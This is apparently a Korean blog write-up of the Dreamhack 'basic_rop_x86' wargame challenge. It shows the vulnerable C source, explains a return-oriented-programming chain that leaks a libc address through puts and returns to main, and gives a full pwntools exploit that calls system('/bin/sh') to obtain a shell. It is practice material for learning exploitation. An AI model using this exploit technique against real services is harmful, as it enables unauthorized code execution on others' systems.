basic_rop_x86
이 문제는 서버에서 작동하고 있는 서비스(basic_rop_x86)의 바이너리와 소스 코드가 주어집니다.
Return Oriented Programming 공격 기법을 통해 셸을 획득한 후, “flag” 파일을 읽으세요.
“flag” 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{…} 입니다.
# 문제 분석
- 소스 코드
- main 함수에서 read 함수와 write 함수를 사용함
- initialize 함수에서 puts 함수를 사용함 → 인자를 하나만 필요로 하기 때문에 이를 활용하여 페이로드를 작성하면 좋을 것
- 데이터를 읽어들일 수 있는 함수는 read 함수이며, 이를 통해 system 함수의 주소를 구하게 된다면 이미 ROP 페이로드가 전송된 이후이므로 다시 main 함수로 돌아가야 할 것
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x40] = {};
initialize();
read(0, buf, 0x400);
write(1, buf, sizeof(buf));
return 0;
}
- checksec
- NX enabled
- 카나리 X
# Exploit
- 과정
- read의 plt와 got 그리고 puts의 plt를 읽어 익스플로잇에 활용할 것임
- 이때 32bit 환경에서 함수가 실행될 때 스택 내에서 인자를 가져오기 때문에 함수 실행 이후 인자에 대한 스택 정리가 필요하기 때문에 가젯을 사용하게 됨
- 함수와 불러와지는 인자 사이에 4byte의 dummy 값이 존재하는데 이는 호출되는 함수가 종료된 후 돌아갈 주소를 의미하며 ret과 같은 역할을 하게 되므로 이 위치에 가젯을 삽입하여 스택을 정리할 수 있음
- 사용하고자하는 puts는 하나의 인자를 필요하므로 스택 정리를 위해서는 pop [아무 레지스터]에 해당하는 가젯이 필요함 → 해당 바이너리에서는 pop ebp 가젯을 찾을 수 있었음
- read 함수 주소를 읽기 위해 puts 함수를 활용할 것
- main 함수 내의 코드가 실행되면서 write(1, buf, sizeof(buf))를 통해 입력한 값이 먼저 출력된 후 main 함수의 ret을 puts_plt의 주소로 한 후 dummy 위치에 main의 시작 주소를 준 후(ret2main)에 인자로 read_got를 준다면 원하는 값을 출력할 수 있을 것임
- ret 조작을 위해서는 다음과 같이 크기가 0x40인 buf와 dummy + ebp를 모두 덮어야 함
- 32 비트 환경에서, 라이브러리의 주소는 0xf7로 시작한다는 점을 활용하여 read 함수의 주소를 받아올 수 있음
- 이를 이용하면 64bit 환경에서의 문제풀이와 다르게 더미값을 먼저 받아줄 필요가 없음
- 64bit 환경에서도 해당 개념을 활용하려면 라이브러리의 주소가 0x7f로 시작함을 알고있어야 함
- read 함수의 주소를 얻기 위한 페이로드는 다음과 같음
payload = b"A"*0x48
payload += p32(puts_plt)
payload += p32(pop_ebp)
payload += p32(read_got)
payload += p32(main)
p.send(payload)
read = u32(p.recvuntil(b'\xf7')[-4:])
lb = read - libc.symbols["read"]
system = lb + libc.symbols["system"]
- 다음 명령어를 통해 libc.so.6 내에 존재하는 "/bin/sh" 문자열까지의 offset을 구할 수 있음
- "/bin/sh" 문자열과 system 함수의 주소를 통해 ret2main 기법을 활용하여 다음과 같이 새로운 rop chain을 구성할 수 있음
binsh = lb + 0x15902b
payload = b"A"*0x48
payload += p32(system)
payload += p32(pop_ebp)
payload += p32(binsh)
p.send(payload)
- Exploit Code
from pwn import *
def slog(name, addr): return success(": ".join([name, hex(addr)]))
p = process("./basic_rop_x86")
#p = remote("host3.dreamhack.games", 10896)
e = ELF("./basic_rop_x86")
libc = ELF("./libc.so.6")
read_plt = e.plt['read']
read_got = e.got['read']
puts_plt = e.plt['puts']
pop_ebp = 0x0804868b
main = e.symbols['main']
payload = b"A"*0x48
payload += p32(puts_plt)
payload += p32(pop_ebp)
payload += p32(read_got)
payload += p32(main)
p.send(payload)
read = u32(p.recvuntil(b'\xf7')[-4:])
lb = read - libc.symbols["read"]
system = lb + libc.symbols["system"]
binsh = lb + 0x15902b
slog("libc base",lb)
slog("read", read)
slog("system",system)
slog("binsh",binsh)
payload = b"A"*0x48
payload += p32(system)
payload += p32(pop_ebp)
payload += p32(binsh)
p.send(payload)
p.interactive()
# 실행결과
'War Game & CTF > Dreamhack' 카테고리의 다른 글
[Dreamhack] file-download-1 (0) | 2023.02.08 |
---|---|
[Dreamhack] basic_rop_x64 (2) | 2022.09.18 |
[Dreamhack] out_of_bound (0) | 2022.09.15 |
[Dreamhack] Return Oriented Programming (0) | 2022.09.14 |
[Dreamhack] ssp_001 (0) | 2022.09.13 |